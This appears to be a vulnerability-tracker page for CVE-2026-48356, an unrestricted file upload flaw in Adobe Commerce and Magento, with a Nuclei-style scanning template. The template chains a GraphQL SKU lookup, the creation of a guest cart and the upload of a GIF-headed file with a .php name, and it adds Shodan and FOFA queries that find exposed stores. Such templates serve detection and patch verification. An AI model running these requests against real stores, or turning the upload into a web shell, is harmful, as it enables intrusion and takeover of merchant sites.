CVE-2026-48356: Adobe Commerce & Magento Open Source - Unrestricted File Upload

2026-11-29 PoC Public

Description

Adobe Commerce contains an unrestricted file upload vulnerability that allows attackers to upload dangerous file types, leading to arbitrary code execution in the context of the current user, exploit requires victim interaction with a malicious URL or page.

Details

CVE
CVE-2026-48356 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-48356

info:
  name: Adobe Commerce & Magento Open Source - Unrestricted File Upload
  author: 0x_Akoko
  severity: critical
  description: |
    Adobe Commerce contains an unrestricted file upload vulnerability that allows attackers to upload dangerous file types, leading to arbitrary code execution in the context of the current user, exploit requires victim interaction with a malicious URL or page.
  impact: |
    Attackers can execute arbitrary code, potentially gaining elevated access or control over victim accounts or sessions.
  remediation: |
    Update to the latest version of Adobe Commerce.
  reference:
    - https://helpx.adobe.com/security/products/magento/apsb26-73.html
    - https://sansec.io/research/magento-polyshell
    - https://github.com/abraxas/CVE-2026-48356
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48356
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2026-48356
    epss-score: 0.07854
    epss-percentile: 0.95464
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: adobe
    product: commerce
    framework: magento
    shodan-query: http.html:"Magento_PageCache"
    fofa-query: body="Magento_PageCache"
  tags: cve,cve2026,magento,adobe,commerce,upload,unauth,kev,vkev

variables:
  magemark: "{{rand_base(8)}}"
  magegif: "{{base64(hex_decode('474946383961010000010080000000000000ffffff21f90401000000002c0000000001000000020144003b'))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"query":"{products(search:\"a\",pageSize:1){items{sku}}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'len(magesku) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: magesku
        group: 1
        internal: true
        regex:
          - '"sku"\s*:\s*"([^"]{1,64})"'

  - raw:
      - |
        POST /rest/default/V1/guest-carts HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json
        Content-Length: 0

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'len(magecart) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: magecart
        group: 1
        internal: true
        regex:
          - '"([A-Za-z0-9]{20,64})"'

  - raw:
      - |
        POST /rest/default/V1/guest-carts/{{magecart}}/items HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"cartItem":{"sku":"{{magesku}}","qty":1,"quote_id":"{{magecart}}","product_option":{"extension_attributes":{"custom_options":[{"option_id":"1","option_value":"file","extension_attributes":{"file_info":{"base64_encoded_data":"{{magegif}}","name":"{{magemark}}.php","type":"image/gif"}}}]}}}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains(body, magemark + ".php")'
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - '(custom_options\\?/quote\\?/[A-Za-z0-9\\/_.-]+\.php)'
# digest: 4a0a004730450221008bcb4c734ae9cbc9ac09b568d9400d6d9b6f83c3e46d791e05b51c6f7498a37a02202678b95084f82e6d42517174b0797e0f56e67cb423b577b954d602ad532ad1cb:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life